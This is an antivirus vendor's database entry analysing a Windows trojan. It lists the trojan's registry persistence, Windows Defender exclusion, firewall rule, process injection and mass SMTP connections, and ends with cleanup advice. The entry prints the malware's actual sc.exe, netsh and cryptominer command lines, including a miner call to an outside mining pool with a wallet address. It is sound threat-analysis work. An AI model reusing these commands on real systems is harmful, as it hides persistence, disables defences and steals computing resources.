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Trojan.Siggen9.9740

Added to the Dr.Web virus database: 2020-02-08

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\nmnkloja] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\nmnkloja] 'ImagePath' = '%WINDIR%\SysWOW64\nmnkloja\gxtarquy.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\nmnkloja] 'ImagePath' = '%WINDIR%\SysWOW64\nmnkloja\gxtarquy.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\nmnkloja' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\gxtarquy.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\gxtarquy.exe to %WINDIR%\syswow64\nmnkloja\gxtarquy.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
  • http://www.google.com/
  • 'mx##.moe.dk':25
  • 'aspmx.l.google.com':25
  • 'ke#####04.infosys.com':25
  • '15#.#53.191.240':443
  • 'd1######.#ss.barracudanetworks.com':25
  • 'ma##.bee.gr':25
  • 'mx##.##a.mailcore.net':25
  • 'ga##.cs.uoi.gr':25
  • 'ma#####1.ccf.auth.gr':25
  • 'us#######nbound-1.mimecast.com':25
  • 'al####oss.upnet.gr':25
  • 'mx###.##il.am0.yahoodns.net':25
  • 'sp##.##rgen.kommune.no':25
  • 'ba#####da.globetech.no':25
  • 'ms#####.##c.protection.outlook.com':25
  • '43.#31.4.7':443
  • 'sa####ch.scb.co.th':25
  • 'in###gram.com':443
  • 'cu#######-1.in.mailcontrol.com':25
  • '85.##4.134.88':487
  • 'mi####.bittubeapp.com':13333
  • 'li######.#lc.protection.outlook.com':25
  • 'ma##.###nstaydesigns.com':25
  • 'ho#########.olc.protection.outlook.com':25
  • 'mt##.##0.yahoodns.net':25
  • 'alt1.gmail-smtp-in.l.google.com':25
  • '19#.#.57.109':443
  • 'mx.##oeuro.com':25
  • '18#.#65.238.150':431
  • '78.#1.67.23':431
  • '17#.#.114.177':431
  • '46.#.52.109':431
  • 'ma####.surf-town.net':25
  • '93.##9.69.109':431
  • '46.#8.66.2':431
  • 'mx##.#andomain.dk':25
  • 'va######.mail.dreamhost.com':25
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK ma##.mwrgl.com
    • DNS ASK mw##l.com
    • DNS ASK d3#####.##s.barracudanetworks.com
    • DNS ASK fu####tmutual.com
    • DNS ASK sa####ch.scb.co.th
    • DNS ASK sc##.com
    • DNS ASK mx.##########ashomes.com.cust.a.hostedemail.com
    • DNS ASK he#####texashomes.com
    • DNS ASK ma###nehdez.com
    • DNS ASK cl######.us.messagelabs.com
    • DNS ASK to###rika.com
    • DNS ASK d6#####.##s.barracudanetworks.com
    • DNS ASK mi####tetool.com
    • DNS ASK ha####dafloral.com
    • DNS ASK ms####blishing.com
    • DNS ASK ma##.#zeronline.com
    • DNS ASK ho##ail.fr
    • DNS ASK he###chels.com
    • DNS ASK ho##ail.it
    • DNS ASK ha###erinc.com
    • DNS ASK ma#####1.ccf.auth.gr
    • DNS ASK ch##.auth.gr
    • DNS ASK mx.##a.untd.com
    • DNS ASK ju##.com
    • DNS ASK ma##.#umrungrad.com
    • DNS ASK bu###ngrad.com
    • DNS ASK ma##.bee.gr
    • DNS ASK be#.gr
    • DNS ASK ac###sway.ph
    • DNS ASK ma####stitle.com
    • DNS ASK sc##.#elenor.net
    • DNS ASK ho#####estaurant.com
    • DNS ASK li##ris.ph
    • DNS ASK go####cargo.com.ph
    • DNS ASK ic.###rld.net.ph
    • DNS ASK
    • DNS ASK ya##o.ph
    • DNS ASK mx##.##a.mailcore.net
    • DNS ASK so#.dk
    • DNS ASK va######.mail.dreamhost.com
    • DNS ASK hj##me.dk
    • DNS ASK ms#####.##c.protection.outlook.com
    • DNS ASK ms#.com
    • DNS ASK al######x-vip1.prodigy.net
    • DNS ASK sb###obal.net
    • DNS ASK mx#.##oadpark.no
    • DNS ASK d1######.#ss.barracudanetworks.com
    • DNS ASK az###nline.com
    • DNS ASK ra###ssen.no
    • DNS ASK sp##.##rgen.kommune.no
    • DNS ASK be####.kommune.no
    • DNS ASK mx.##enet.gr
    • DNS ASK di#s.gr
    • DNS ASK mx###.##il.am0.yahoodns.net
    • DNS ASK ya##o.co.uk
    • DNS ASK ma##.#lamerica.com
    • DNS ASK nl###rica.com
    • DNS ASK al####oss.upnet.gr
    • DNS ASK ch####g.upatras.gr
    • DNS ASK us#######nbound-1.mimecast.com
    • DNS ASK ml##s.com
    • DNS ASK hu####ofmiami.com
    • DNS ASK ba#####da.globetech.no
    • DNS ASK ha####f-names.com
    • DNS ASK ge####ucation.com
    • DNS ASK ga##.cs.uoi.gr
    • DNS ASK ze##.cs.uoi.gr
    • DNS ASK gm##l.com
    • DNS ASK s-#.dk
    • DNS ASK ne####iumdirect.com
    • DNS ASK mx#######d02.gslb.pphosted.com
    • DNS ASK na######.email.dupont.com
    • DNS ASK mx#######101.gslb.pphosted.com
    • DNS ASK jo###eere.com
    • DNS ASK de#####aintsonline.com
    • DNS ASK mt##.##0.yahoodns.net
    • DNS ASK ya##o.com
    • DNS ASK mx.##oeuro.com
    • DNS ASK ov##bye.dk
    • DNS ASK ho#########.olc.protection.outlook.com
    • DNS ASK ho##ail.com
    • DNS ASK ns.####s-online.net.ph
    • DNS ASK cu#######-1.in.mailcontrol.com
    • DNS ASK ma##.###nstaydesigns.com
    • DNS ASK ma####aydesigns.com
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK mi####.bittubeapp.com
    • DNS ASK mx#######201.gslb.pphosted.com
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK ai#####aresolutions.com
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK th###kery.com
    • DNS ASK li######.#lc.protection.outlook.com
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK li##.com
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK alt1.gmail-smtp-in.l.google.com
    • DNS ASK br###park.no
    • DNS ASK ba##mex.com
    • DNS ASK mx##.#andomain.dk
    • DNS ASK mx##.#ail.citi.com
    • DNS ASK re#####1.deped.gov.ph
    • DNS ASK ip#.comm.ph
    • DNS ASK ni##.nida.ac.ph
    • DNS ASK ca#.##orld.net.ph
    • DNS ASK st###abrics.ph
    • DNS ASK ho##ail.de
    • DNS ASK ke#####04.infosys.com
    • DNS ASK in##sys.com
    • DNS ASK mx.##wway.com
    • DNS ASK wo##ay.com
    • DNS ASK aspmx.l.google.com
    • DNS ASK in###gram.com
    • DNS ASK pa##.gov.ph
    • DNS ASK ro###kommune.dk
    • DNS ASK sm######.mc.a.cloudfilter.net
    • DNS ASK we###nse.com
    • DNS ASK ne##el.no
    • DNS ASK ma#l.dk
    • DNS ASK mx##.moe.dk
    • DNS ASK te###plan.dk
    • DNS ASK mx######b2d01.pphosted.com
    • DNS ASK it.#bm.com
    • DNS ASK fp##.mail.dk
    • DNS ASK po##.tele.dk
    • DNS ASK google.com
    • DNS ASK ma####.surf-town.net
    • DNS ASK st##ers.dk
    • DNS ASK eu#.###.#rotection.outlook.com
    • DNS ASK ho###il.co.uk
    • DNS ASK mc##i.com
    • DNS ASK my.##art.com.ph
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\nmnkloja\gxtarquy.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nmnkloja\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\gxtarquy.exe" %WINDIR%\SysWOW64\nmnkloja\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create nmnkloja binPath= "%WINDIR%\SysWOW64\nmnkloja\gxtarquy.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description nmnkloja "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start nmnkloja' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nmnkloja\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\gxtarquy.exe" %WINDIR%\SysWOW64\nmnkloja\
    • '%WINDIR%\syswow64\sc.exe' create nmnkloja binPath= "%WINDIR%\SysWOW64\nmnkloja\gxtarquy.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description nmnkloja "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start nmnkloja
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k

    Curing recommendations

    1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
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    1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
      • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
      • Switch off your device and turn it on as normal.

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